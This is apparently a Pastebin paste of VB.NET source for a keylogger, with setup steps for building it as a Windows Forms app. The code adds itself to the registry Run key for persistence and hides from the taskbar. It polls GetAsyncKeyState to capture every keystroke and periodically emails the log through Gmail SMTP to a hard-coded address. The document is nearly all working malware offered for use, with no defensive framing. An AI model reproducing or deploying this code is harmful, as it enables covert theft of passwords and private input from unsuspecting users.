Advertisement
Guest User

Untitled

a guest
May 9th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.52 KB | None | 0 0
  1. ''''''''''''''''''''''''''''''''''''''''''
  2. 'ADD:
  3. '1 Windows Form (so u have form1.vb and form2.vb)
  4. '1 Rich Text Box to form2.vb
  5. '2 timers to form2.vb
  6.  
  7.  
  8.  
  9.  
  10.  
  11. 'form1.vb
  12.  
  13. Imports System.Web
  14.  
  15. Imports System.IO
  16.  
  17. Imports System.Net.Mail
  18. Imports Microsoft.Win32
  19.  
  20.  
  21.  
  22. Public Class Form1
  23. Private Sub setregistryvalue()
  24. 'Add the executable's path against the application's name. 'Just change the key between (), and thats it.
  25. Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", _
  26. Application.ProductName, _
  27. Application.ExecutablePath)
  28. End Sub
  29. Dim result As Integer
  30.  
  31. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  32.  
  33.  
  34.  
  35. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  36. ShowInTaskbar = False
  37.  
  38. Form2.Show()
  39. End Sub
  40. 'END
  41. End Class
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51. 'form2.vb
  52. Imports System.Net.Mail
  53.  
  54. Public Class Form2
  55.  
  56. Dim result As Integer
  57.  
  58. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  59. Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  60.  
  61. End Sub
  62.  
  63. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
  64. Me.Hide()
  65. End Sub
  66.  
  67. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  68. For i = 1 To 255
  69.  
  70. result = 0
  71.  
  72. result = GetAsyncKeyState(i)
  73.  
  74. If result = -32767 Then
  75.  
  76. RichTextBox1.Text = RichTextBox1.Text + Chr(i)
  77.  
  78. End If
  79.  
  80. Next i
  81.  
  82. End Sub
  83.  
  84. Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  85. Dim mail As New MailMessage()
  86.  
  87. Dim SmtpServer As New SmtpClient
  88.  
  89. SmtpServer.Credentials = New Net.NetworkCredential("lsonb1@gmail.com", "*****************") 'almost forgot to hide
  90.  
  91. SmtpServer.Port = 587
  92.  
  93. SmtpServer.Host = "smtp.gmail.com"
  94.  
  95. SmtpServer.EnableSsl = True
  96.  
  97. SmtpServer.EnableSsl = True
  98.  
  99. mail.To.Add("lsonb1@gmail.com")
  100.  
  101. mail.From = New MailAddress("n00bl3z@yahoo.com")
  102.  
  103. mail.Subject = "Freezing Keylogger <3 INFO"
  104.  
  105. mail.Body = RichTextBox1.Text 'rich text box because RTB can hold more different kinds of information.
  106.  
  107. SmtpServer.Send(mail)
  108. End Sub
  109. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement